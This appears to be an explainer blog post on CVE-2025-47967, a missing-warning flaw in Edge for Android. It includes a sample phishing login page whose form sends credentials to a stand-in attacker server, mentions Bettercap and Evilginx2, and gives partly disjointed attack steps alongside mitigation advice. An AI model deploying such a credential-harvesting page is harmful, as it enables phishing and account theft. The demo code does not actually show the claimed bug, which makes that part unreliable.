Introduction

A newly disclosed vulnerability, CVE-2025-47967, targets Microsoft Edge for Android. This flaw centers around insufficient UI (User Interface) warning mechanisms during dangerous operations. In simple terms, Edge neglects to give users proper alerts when potentially risky actions—like credentials or sensitive data submissions—occur over the network. This loophole provides attackers with enough room to trick users and perform spoofing attacks, which can lead to data theft, account hijacking, or more.

This article breaks down how CVE-2025-47967 works, how it can be exploited, and what users and developers need to do to stay safe. You'll also find a code example demonstrating a potential trick, and links to key references.

What is CVE-2025-47967?

Microsoft Edge for Android is widely used for everyday browsing, including banking, shopping, and sensitive communication. The browser aims to provide clear UI warnings—like pop-ups or address bar indicators—if something fishy happens.

But: In some cases, Edge fails to show these warnings. Suppose you click a dangerous link or are about to submit sensitive info over an insecure or spoofed network? You should get an alert or warning message. With CVE-2025-47967, there is either no warning, or the warning can be hidden or spoofed by an attacker.

Trick you into entering critical data (login, payments, etc.)

Because Edge neglects to warn you properly, you might not notice anything wrong.

An Example Attack (Code Included)

Here’s a simple demonstration of a phishing page that tries to mimic a genuine site (e.g., bank.com), but runs on a fake local IP provided by an attacker. The attacker could use a tool like Bettercap or Evilginx2 to redirect your browsing.

Attacker’s fake login page (example)

<!-- phishing.html -->
<!DOCTYPE html>
<html>
<head>
  <title>Bank Login</title>
  <style>
    body { font-family: Arial; }
    .warning { display: none; color: red; }
  </style>
</head>
<body>
  <h2>Sign in to Your Bank</h2>
  <form action="http://attacker-controlled-server/login"; method="POST">
    <input type="text" name="user" placeholder="Username" required>

    <input type="password" name="pass" placeholder="Password" required>

    <button type="submit">Login</button>
    <div class="warning">This connection is insecure!</div>
  </form>
  <script>
    // The warning could be hidden even if Edge should show it.
  </script>
</body>
</html>

*In a secure browser, the user would be alerted about insecure HTTP or certificate issues. However, with CVE-2025-47967, Edge for Android may show no visual clue or pop-up, letting the attack slip by unnoticed.*

The attacker could combine this spoofed UI with network tampering to harvest credentials.

Real-World Consequences

- Phishing: Since the browser doesn't notify you, entering your login info on cloned pages becomes easy.
- Session Hijacking: Attackers may impersonate sites you trust to hijack your session or steal tokens.

A victim connects to a rogue WiFi hotspot.

2. Edge for Android is used to visit what looks like https://mybank.com.

The attacker intercepts the traffic and serves a phishing login page.

4. Edge's UI shows the normal address bar, with no panic warning—users proceed as if nothing’s wrong.

Mitigation and Workarounds

- For users: Update Edge for Android as soon as a patch is released. Never trust WiFi without a VPN. Double-check address bars.
- For developers: Ensure all sensitive actions are performed over HTTPS. Consider using HSTS [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security].
- For security teams: Educate users about UI spoofing risks. Use browser configuration to enforce warnings.

Conclusion

CVE-2025-47967 is a UI bug with serious real-life risks for Edge for Android users. Until Microsoft releases a fix, be skeptical of web pages that ask for credentials and watch for browser updates. This vulnerability is a sharp reminder that even well-known browsers can hide dangerous flaws if UI warnings are not diligently implemented.

Stay cyber safe—always look for those browser warnings, and update your apps regularly.
